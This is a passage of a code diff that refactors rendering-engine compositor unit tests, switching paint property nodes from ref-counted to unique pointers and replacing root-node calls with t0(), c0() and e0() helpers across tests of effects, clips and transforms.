EXPECT_EQ(pending_layer.bounds, pending_layer.rect_known_to_be_opaque);\n }\n \n-scoped_refptr<EffectPaintPropertyNode> CreateSampleEffectNodeWithElementId() {\n+std::unique_ptr<EffectPaintPropertyNode> CreateSampleEffectNodeWithElementId() {\n EffectPaintPropertyNode::State state;\n- state.local_transform_space = TransformPaintPropertyNode::Root();\n- state.output_clip = ClipPaintPropertyNode::Root();\n+ state.local_transform_space = &t0();\n+ state.output_clip = &c0();\n state.opacity = 2.0 / 255.0;\n state.direct_compositing_reasons = CompositingReason::kActiveOpacityAnimation;\n state.compositor_element_id = CompositorElementId(2);\n- return EffectPaintPropertyNode::Create(EffectPaintPropertyNode::Root(),\n- std::move(state));\n+ return EffectPaintPropertyNode::Create(e0(), std::move(state));\n }\n \n-scoped_refptr<TransformPaintPropertyNode>\n+std::unique_ptr<TransformPaintPropertyNode>\n CreateSampleTransformNodeWithElementId() {\n TransformPaintPropertyNode::State state;\n state.matrix.Rotate(90);\n state.origin = FloatPoint3D(100, 100, 0);\n state.direct_compositing_reasons = CompositingReason::k3DTransform;\n state.compositor_element_id = CompositorElementId(3);\n- return TransformPaintPropertyNode::Create(TransformPaintPropertyNode::Root(),\n- std::move(state));\n+ return TransformPaintPropertyNode::Create(t0(), std::move(state));\n }\n \n TEST_F(PaintArtifactCompositorTest, TransformWithElementId) {\n auto transform = CreateSampleTransformNodeWithElementId();\n TestPaintArtifact artifact;\n- artifact\n- .Chunk(transform, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*transform, c0(), e0())\n .RectDrawing(FloatRect(100, 100, 200, 100), Color::kBlack);\n Update(artifact.Build());\n \n@@ -1946,37 +1723,30 @@ TEST_F(PaintArtifactCompositorTest, TransformWithElementId) {\n TEST_F(PaintArtifactCompositorTest, EffectWithElementId) {\n auto effect = CreateSampleEffectNodeWithElementId();\n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect.get())\n+ artifact.Chunk(t0(), c0(), *effect)\n .RectDrawing(FloatRect(100, 100, 200, 100), Color::kBlack);\n Update(artifact.Build());\n \n EXPECT_EQ(2, ElementIdToEffectNodeIndex(effect->GetCompositorElementId()));\n }\n \n TEST_F(PaintArtifactCompositorTest, CompositedLuminanceMask) {\n- auto masked =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(), 1.0,\n- CompositingReason::kIsolateCompositedDescendants);\n+ auto masked = CreateOpacityEffect(\n+ e0(), 1.0, CompositingReason::kIsolateCompositedDescendants);\n EffectPaintPropertyNode::State masking_state;\n- masking_state.local_transform_space = TransformPaintPropertyNode::Root();\n- masking_state.output_clip = ClipPaintPropertyNode::Root();\n+ masking_state.local_transform_space = &t0();\n+ masking_state.output_clip = &c0();\n masking_state.color_filter = kColorFilterLuminanceToAlpha;\n masking_state.blend_mode = SkBlendMode::kDstIn;\n masking_state.direct_compositing_reasons =\n CompositingReason::kSquashingDisallowed;\n auto masking =\n- EffectPaintPropertyNode::Create(masked, std::move(masking_state));\n+ EffectPaintPropertyNode::Create(*masked, std::move(masking_state));\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- masked.get())\n+ artifact.Chunk(t0(), c0(), *masked)\n .RectDrawing(FloatRect(100, 100, 200, 200), Color::kGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- masking.get())\n+ artifact.Chunk(t0(), c0(), *masking)\n .RectDrawing(FloatRect(150, 150, 100, 100), Color::kWhite);\n Update(artifact.Build());\n ASSERT_EQ(2u, ContentLayerCount());\n@@ -2007,22 +1777,16 @@ TEST_F(PaintArtifactCompositorTest, CompositedLuminanceMask) {\n \n TEST_F(PaintArtifactCompositorTest, UpdateProducesNewSequenceNumber) {\n // A 90 degree clockwise rotation about (100, 100).\n- auto transform = CreateTransform(\n- TransformPaintPropertyNode::Root(), TransformationMatrix().Rotate(90),\n- FloatPoint3D(100, 100, 0), CompositingReason::k3DTransform);\n-\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(100, 100, 300, 200));\n-\n- auto effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.5);\n+ auto transform = CreateTransform(t0(), TransformationMatrix().Rotate(90),\n+ FloatPoint3D(100, 100, 0),\n+ CompositingReason::k3DTransform);\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(100, 100, 300, 200));\n+ auto effect = CreateOpacityEffect(e0(), 0.5);\n \n TestPaintArtifact artifact;\n- artifact.Chunk(transform, clip, effect)\n+ artifact.Chunk(*transform, *clip, *effect)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kGray);\n Update(artifact.Build());\n \n@@ -2057,19 +1821,12 @@ TEST_F(PaintArtifactCompositorTest, UpdateProducesNewSequenceNumber) {\n TEST_F(PaintArtifactCompositorTest, DecompositeClip) {\n // A clipped paint chunk that gets merged into a previous layer should\n // only contribute clipped bounds to the layer bound.\n-\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(75, 75, 100, 100));\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(75, 75, 100, 100));\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(50, 50, 100, 100), Color::kGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip.get(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), *clip, e0())\n .RectDrawing(FloatRect(100, 100, 100, 100), Color::kGray);\n Update(artifact.Build());\n ASSERT_EQ(1u, ContentLayerCount());\n@@ -2084,20 +1841,14 @@ TEST_F(PaintArtifactCompositorTest, DecompositeEffect) {\n // group compositing descendants should not be composited and can merge\n // with other chunks.\n \n- auto effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.5);\n+ auto effect = CreateOpacityEffect(e0(), 0.5);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(50, 25, 100, 100), Color::kGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect.get())\n+ artifact.Chunk(t0(), c0(), *effect)\n .RectDrawing(FloatRect(25, 75, 100, 100), Color::kGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(75, 75, 100, 100), Color::kGray);\n Update(artifact.Build());\n ASSERT_EQ(1u, ContentLayerCount());\n@@ -2110,21 +1861,14 @@ TEST_F(PaintArtifactCompositorTest, DecompositeEffect) {\n \n TEST_F(PaintArtifactCompositorTest, DirectlyCompositedEffect) {\n // An effect node with direct compositing shall be composited.\n- auto effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.5f,\n- CompositingReason::kAll);\n+ auto effect = CreateOpacityEffect(e0(), 0.5f, CompositingReason::kAll);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(50, 25, 100, 100), Color::kGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect.get())\n+ artifact.Chunk(t0(), c0(), *effect)\n .RectDrawing(FloatRect(25, 75, 100, 100), Color::kGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(75, 75, 100, 100), Color::kGray);\n Update(artifact.Build());\n ASSERT_EQ(3u, ContentLayerCount());\n@@ -2152,22 +1896,16 @@ TEST_F(PaintArtifactCompositorTest, DecompositeDeepEffect) {\n // A paint chunk may enter multiple level effects with or without compositing\n // reasons. This test verifies we still decomposite effects without a direct\n // reason, but stop at a directly composited effect.\n- auto effect1 = CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.1f);\n- auto effect2 = CreateOpacityEffect(effect1, 0.2f, CompositingReason::kAll);\n- auto effect3 = CreateOpacityEffect(effect2, 0.3f);\n+ auto effect1 = CreateOpacityEffect(e0(), 0.1f);\n+ auto effect2 = CreateOpacityEffect(*effect1, 0.2f, CompositingReason::kAll);\n+ auto effect3 = CreateOpacityEffect(*effect2, 0.3f);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(50, 25, 100, 100), Color::kGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect3.get())\n+ artifact.Chunk(t0(), c0(), *effect3)\n .RectDrawing(FloatRect(25, 75, 100, 100), Color::kGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(75, 75, 100, 100), Color::kGray);\n Update(artifact.Build());\n ASSERT_EQ(3u, ContentLayerCount());\n@@ -2197,21 +1935,16 @@ TEST_F(PaintArtifactCompositorTest, DecompositeDeepEffect) {\n TEST_F(PaintArtifactCompositorTest, IndirectlyCompositedEffect) {\n // An effect node without direct compositing still needs to be composited\n // for grouping, if some chunks need to be composited.\n- auto effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.5f);\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix(), FloatPoint3D(),\n+ auto effect = CreateOpacityEffect(e0(), 0.5f);\n+ auto transform = CreateTransform(t0(), TransformationMatrix(), FloatPoint3D(),\n CompositingReason::k3DTransform);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(50, 25, 100, 100), Color::kGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect.get())\n+ artifact.Chunk(t0(), c0(), *effect)\n .RectDrawing(FloatRect(25, 75, 100, 100), Color::kGray);\n- artifact.Chunk(transform.get(), ClipPaintPropertyNode::Root(), effect.get())\n+ artifact.Chunk(*transform, c0(), *effect)\n .RectDrawing(FloatRect(75, 75, 100, 100), Color::kGray);\n Update(artifact.Build());\n ASSERT_EQ(3u, ContentLayerCount());\n@@ -2238,34 +1971,25 @@ TEST_F(PaintArtifactCompositorTest, IndirectlyCompositedEffect) {\n TEST_F(PaintArtifactCompositorTest, DecompositedEffectNotMergingDueToOverlap) {\n // This tests an effect that doesn't need to be composited, but needs\n // separate backing due to overlap with a previous composited effect.\n- auto effect1 = CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.1f);\n- auto effect2 = CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.2f);\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix(), FloatPoint3D(),\n+ auto effect1 = CreateOpacityEffect(e0(), 0.1f);\n+ auto effect2 = CreateOpacityEffect(e0(), 0.2f);\n+ auto transform = CreateTransform(t0(), TransformationMatrix(), FloatPoint3D(),\n CompositingReason::k3DTransform);\n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 50, 50), Color::kGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect1.get())\n+ artifact.Chunk(t0(), c0(), *effect1)\n .RectDrawing(FloatRect(100, 0, 50, 50), Color::kGray);\n // This chunk has a transform that must be composited, thus causing effect1\n // to be composited too.\n- artifact.Chunk(transform.get(), ClipPaintPropertyNode::Root(), effect1.get())\n+ artifact.Chunk(*transform, c0(), *effect1)\n .RectDrawing(FloatRect(200, 0, 50, 50), Color::kGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect2.get())\n+ artifact.Chunk(t0(), c0(), *effect2)\n .RectDrawing(FloatRect(200, 100, 50, 50), Color::kGray);\n // This chunk overlaps with the 2nd chunk, but is seemingly safe to merge.\n // However because effect1 gets composited due to a composited transform,\n // we can't merge with effect1 nor skip it to merge with the first chunk.\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect2.get())\n+ artifact.Chunk(t0(), c0(), *effect2)\n .RectDrawing(FloatRect(100, 0, 50, 50), Color::kGray);\n \n Update(artifact.Build());\n@@ -2299,12 +2023,9 @@ TEST_F(PaintArtifactCompositorTest, UpdatePopulatesCompositedElementIds) {\n auto transform = CreateSampleTransformNodeWithElementId();\n auto effect = CreateSampleEffectNodeWithElementId();\n TestPaintArtifact artifact;\n- artifact\n- .Chunk(transform, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*transform, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack)\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect.get())\n+ .Chunk(t0(), c0(), *effect)\n .RectDrawing(FloatRect(100, 100, 200, 100), Color::kBlack);\n \n CompositorElementIdSet composited_element_ids;\n@@ -2411,27 +2132,22 @@ TEST_F(PaintArtifactCompositorTest, DontSkipChunkWithAboveMinimumOpacity) {\n \n TEST_F(PaintArtifactCompositorTest,\n DontSkipChunkWithTinyOpacityAndDirectCompositingReason) {\n- auto effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.0001f,\n- CompositingReason::kCanvas);\n+ auto effect = CreateOpacityEffect(e0(), 0.0001f, CompositingReason::kCanvas);\n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect)\n+ artifact.Chunk(t0(), c0(), *effect)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n Update(artifact.Build());\n ASSERT_EQ(1u, ContentLayerCount());\n }\n \n TEST_F(PaintArtifactCompositorTest,\n SkipChunkWithTinyOpacityAndVisibleChildEffectNode) {\n- auto tiny_effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(),\n- 0.0001f, CompositingReason::kNone);\n+ auto tiny_effect =\n+ CreateOpacityEffect(e0(), 0.0001f, CompositingReason::kNone);\n auto visible_effect =\n- CreateOpacityEffect(tiny_effect, 0.5f, CompositingReason::kNone);\n+ CreateOpacityEffect(*tiny_effect, 0.5f, CompositingReason::kNone);\n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- visible_effect)\n+ artifact.Chunk(t0(), c0(), *visible_effect)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n Update(artifact.Build());\n ASSERT_EQ(0u, ContentLayerCount());\n@@ -2440,28 +2156,23 @@ TEST_F(PaintArtifactCompositorTest,\n TEST_F(\n PaintArtifactCompositorTest,\n DontSkipChunkWithTinyOpacityAndVisibleChildEffectNodeWithCompositingParent) {\n- auto tiny_effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(),\n- 0.0001f, CompositingReason::kCanvas);\n- auto visible_effect = CreateOpacityEffect(tiny_effect, 0.5f);\n+ auto tiny_effect =\n+ CreateOpacityEffect(e0(), 0.0001f, CompositingReason::kCanvas);\n+ auto visible_effect = CreateOpacityEffect(*tiny_effect, 0.5f);\n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- visible_effect)\n+ artifact.Chunk(t0(), c0(), *visible_effect)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n Update(artifact.Build());\n ASSERT_EQ(1u, ContentLayerCount());\n }\n \n TEST_F(PaintArtifactCompositorTest,\n SkipChunkWithTinyOpacityAndVisibleChildEffectNodeWithCompositingChild) {\n- auto tiny_effect =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.0001f);\n+ auto tiny_effect = CreateOpacityEffect(e0(), 0.0001f);\n auto visible_effect =\n- CreateOpacityEffect(tiny_effect, 0.5f, CompositingReason::kCanvas);\n+ CreateOpacityEffect(*tiny_effect, 0.5f, CompositingReason::kCanvas);\n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- visible_effect)\n+ artifact.Chunk(t0(), c0(), *visible_effect)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n Update(artifact.Build());\n ASSERT_EQ(0u, ContentLayerCount());\n@@ -2473,9 +2184,7 @@ TEST_F(PaintArtifactCompositorTest, UpdateManagesLayerElementIds) {\n \n {\n TestPaintArtifact artifact;\n- artifact\n- .Chunk(transform, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*transform, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n \n Update(artifact.Build());\n@@ -2498,11 +2207,11 @@ TEST_F(PaintArtifactCompositorTest, SynthesizedClipSimple) {\n FloatSize corner(5, 5);\n FloatRoundedRect rrect(FloatRect(50, 50, 300, 200), corner, corner, corner,\n corner);\n- auto c1 = CreateClip(c0(), t0(), rrect,\n+ auto c1 = CreateClip(c0(), &t0(), rrect,\n CompositingReason::kWillChangeCompositingHint);\n \n TestPaintArtifact artifact;\n- artifact.Chunk(t0(), c1, e0())\n+ artifact.Chunk(t0(), *c1, e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n Update(artifact.Build());\n \n@@ -2547,12 +2256,12 @@ TEST_F(PaintArtifactCompositorTest,\n SynthesizedClipIndirectlyCompositedClipPath) {\n // This tests the case that a clip node needs to be synthesized due to\n // applying clip path to a composited effect.\n- auto c1 = CreateClipPathClip(c0(), t0(), FloatRoundedRect(50, 50, 300, 200));\n- auto e1 = CreateOpacityEffect(e0(), t0(), c1, 1,\n+ auto c1 = CreateClipPathClip(c0(), &t0(), FloatRoundedRect(50, 50, 300, 200));\n+ auto e1 = CreateOpacityEffect(e0(), &t0(), c1.get(), 1,\n CompositingReason::kWillChangeCompositingHint);\n \n TestPaintArtifact artifact;\n- artifact.Chunk(t0(), c1, e1)\n+ artifact.Chunk(t0(), *c1, *e1)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n Update(artifact.Build());\n \n@@ -2607,13 +2316,13 @@ TEST_F(PaintArtifactCompositorTest, SynthesizedClipContiguous) {\n FloatSize corner(5, 5);\n FloatRoundedRect rrect(FloatRect(50, 50, 300, 200), corner, corner, corner,\n corner);\n- auto c1 = CreateClip(c0(), t0(), rrect,\n+ auto c1 = CreateClip(c0(), &t0(), rrect,\n CompositingReason::kWillChangeCompositingHint);\n \n TestPaintArtifact artifact;\n- artifact.Chunk(t0(), c1, e0())\n+ artifact.Chunk(t0(), *c1, e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- artifact.Chunk(t1, c1, e0())\n+ artifact.Chunk(*t1, *c1, e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n Update(artifact.Build());\n \n@@ -2676,15 +2385,15 @@ TEST_F(PaintArtifactCompositorTest, SynthesizedClipDiscontiguous) {\n FloatSize corner(5, 5);\n FloatRoundedRect rrect(FloatRect(50, 50, 300, 200), corner, corner, corner,\n corner);\n- auto c1 = CreateClip(c0(), t0(), rrect,\n+ auto c1 = CreateClip(c0(), &t0(), rrect,\n CompositingReason::kWillChangeCompositingHint);\n \n TestPaintArtifact artifact;\n- artifact.Chunk(t0(), c1, e0())\n+ artifact.Chunk(t0(), *c1, e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- artifact.Chunk(t1, c0(), e0())\n+ artifact.Chunk(*t1, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- artifact.Chunk(t0(), c1, e0())\n+ artifact.Chunk(t0(), *c1, e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n Update(artifact.Build());\n \n@@ -2765,18 +2474,17 @@ TEST_F(PaintArtifactCompositorTest, SynthesizedClipAcrossChildEffect) {\n FloatSize corner(5, 5);\n FloatRoundedRect rrect(FloatRect(50, 50, 300, 200), corner, corner, corner,\n corner);\n- auto c1 = CreateClip(c0(), t0(), rrect,\n+ auto c1 = CreateClip(c0(), &t0(), rrect,\n CompositingReason::kWillChangeCompositingHint);\n-\n- auto e1 = CreateOpacityEffect(e0(), t0(), c1, 1,\n+ auto e1 = CreateOpacityEffect(e0(), &t0(), c1.get(), 1,\n CompositingReason::kWillChangeCompositingHint);\n \n TestPaintArtifact artifact;\n- artifact.Chunk(t0(), c1, e0())\n+ artifact.Chunk(t0(), *c1, e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- artifact.Chunk(t0(), c1, e1)\n+ artifact.Chunk(t0(), *c1, *e1)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- artifact.Chunk(t0(), c1, e0())\n+ artifact.Chunk(t0(), *c1, e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n Update(artifact.Build());\n \n@@ -2836,7 +2544,7 @@ TEST_F(PaintArtifactCompositorTest, SynthesizedClipRespectOutputClip) {\n FloatSize corner(5, 5);\n FloatRoundedRect rrect(FloatRect(50, 50, 300, 200), corner, corner, corner,\n corner);\n- auto c1 = CreateClip(c0(), t0(), rrect,\n+ auto c1 = CreateClip(c0(), &t0(), rrect,\n CompositingReason::kWillChangeCompositingHint);\n \n CompositorFilterOperations non_trivial_filter;\n@@ -2845,11 +2553,11 @@ TEST_F(PaintArtifactCompositorTest, SynthesizedClipRespectOutputClip) {\n CompositingReason::kWillChangeCompositingHint);\n \n TestPaintArtifact artifact;\n- artifact.Chunk(t0(), c1, e0())\n+ artifact.Chunk(t0(), *c1, e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- artifact.Chunk(t0(), c1, e1)\n+ artifact.Chunk(t0(), *c1, *e1)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- artifact.Chunk(t0(), c1, e0())\n+ artifact.Chunk(t0(), *c1, e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n Update(artifact.Build());\n \n@@ -2941,23 +2649,23 @@ TEST_F(PaintArtifactCompositorTest, SynthesizedClipDelegateBlending) {\n FloatSize corner(5, 5);\n FloatRoundedRect rrect(FloatRect(50, 50, 300, 200), corner, corner, corner,\n corner);\n- auto c1 = CreateClip(c0(), t0(), rrect,\n+ auto c1 = CreateClip(c0(), &t0(), rrect,\n CompositingReason::kWillChangeCompositingHint);\n \n EffectPaintPropertyNode::State e1_state;\n- e1_state.local_transform_space = t0();\n- e1_state.output_clip = c1;\n+ e1_state.local_transform_space = &t0();\n+ e1_state.output_clip = c1.get();\n e1_state.blend_mode = SkBlendMode::kMultiply;\n e1_state.direct_compositing_reasons =\n CompositingReason::kWillChangeCompositingHint;\n auto e1 = EffectPaintPropertyNode::Create(e0(), std::move(e1_state));\n \n TestPaintArtifact artifact;\n- artifact.Chunk(t0(), c1, e0())\n+ artifact.Chunk(t0(), *c1, e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- artifact.Chunk(t0(), c1, e1)\n+ artifact.Chunk(t0(), *c1, *e1)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- artifact.Chunk(t0(), c1, e0())\n+ artifact.Chunk(t0(), *c1, e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n Update(artifact.Build());\n \n@@ -3045,9 +2753,7 @@ TEST_F(PaintArtifactCompositorTest, SynthesizedClipDelegateBlending) {\n TEST_F(PaintArtifactCompositorTest, WillBeRemovedFromFrame) {\n auto effect = CreateSampleEffectNodeWithElementId();\n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect.get())\n+ artifact.Chunk(t0(), c0(), *effect)\n .RectDrawing(FloatRect(100, 100, 200, 100), Color::kBlack);\n Update(artifact.Build());\n \n@@ -3060,7 +2766,7 @@ TEST_F(PaintArtifactCompositorTest, WillBeRemovedFromFrame) {\n \n TEST_F(PaintArtifactCompositorTest, ContentsNonOpaque) {\n TestPaintArtifact artifact;\n- artifact.Chunk(PropertyTreeState::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(100, 100, 200, 200), Color::kBlack);\n Update(artifact.Build());\n ASSERT_EQ(1u, ContentLayerCount());\n@@ -3069,7 +2775,7 @@ TEST_F(PaintArtifactCompositorTest, ContentsNonOpaque) {\n \n TEST_F(PaintArtifactCompositorTest, ContentsOpaque) {\n TestPaintArtifact artifact;\n- artifact.Chunk(PropertyTreeState::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(100, 100, 200, 200), Color::kBlack)\n .KnownToBeOpaque();\n Update(artifact.Build());\n@@ -3079,7 +2785,7 @@ TEST_F(PaintArtifactCompositorTest, ContentsOpaque) {\n \n TEST_F(PaintArtifactCompositorTest, ContentsOpaqueSubpixel) {\n TestPaintArtifact artifact;\n- artifact.Chunk(PropertyTreeState::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(100.5, 100.5, 200, 200), Color::kBlack)\n .KnownToBeOpaque();\n Update(artifact.Build());\n@@ -3090,10 +2796,10 @@ TEST_F(PaintArtifactCompositorTest, ContentsOpaqueSubpixel) {\n \n TEST_F(PaintArtifactCompositorTest, ContentsOpaqueUnitedNonOpaque) {\n TestPaintArtifact artifact;\n- artifact.Chunk(PropertyTreeState::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(100, 100, 200, 200), Color::kBlack)\n .KnownToBeOpaque()\n- .Chunk(PropertyTreeState::Root())\n+ .Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(200, 200, 200, 200), Color::kBlack)\n .KnownToBeOpaque();\n Update(artifact.Build());\n@@ -3104,10 +2810,10 @@ TEST_F(PaintArtifactCompositorTest, ContentsOpaqueUnitedNonOpaque) {\n \n TEST_F(PaintArtifactCompositorTest, ContentsOpaqueUnitedOpaque1) {\n TestPaintArtifact artifact;\n- artifact.Chunk(PropertyTreeState::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(100, 100, 300, 300), Color::kBlack)\n .KnownToBeOpaque()\n- .Chunk(PropertyTreeState::Root())\n+ .Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(200, 200, 200, 200), Color::kBlack)\n .KnownToBeOpaque();\n Update(artifact.Build());\n@@ -3118,10 +2824,10 @@ TEST_F(PaintArtifactCompositorTest, ContentsOpaqueUnitedOpaque1) {\n \n TEST_F(PaintArtifactCompositorTest, ContentsOpaqueUnitedOpaque2) {\n TestPaintArtifact artifact;\n- artifact.Chunk(PropertyTreeState::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(100, 100, 200, 200), Color::kBlack)\n .KnownToBeOpaque()\n- .Chunk(PropertyTreeState::Root())\n+ .Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(100, 100, 300, 300), Color::kBlack)\n .KnownToBeOpaque();\n Update(artifact.Build());\n@@ -3135,18 +2841,13 @@ TEST_F(PaintArtifactCompositorTest, ContentsOpaqueUnitedOpaque2) {\n TEST_F(PaintArtifactCompositorTest, DecompositeEffectWithNoOutputClip) {\n // This test verifies effect nodes with no output clip correctly decomposites\n // if there is no compositing reasons.\n- auto clip1 = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(75, 75, 100, 100));\n-\n- auto effect1 =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(), nullptr, 0.5);\n+ auto clip1 = CreateClip(c0(), &t0(), FloatRoundedRect(75, 75, 100, 100));\n+ auto effect1 = CreateOpacityEffect(e0(), &t0(), nullptr, 0.5);\n \n TestPaintArtifact artifact;\n- artifact.Chunk(PropertyTreeState::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(50, 50, 100, 100), Color::kGray);\n- artifact.Chunk(TransformPaintPropertyNode::Root(), clip1.get(), effect1.get())\n+ 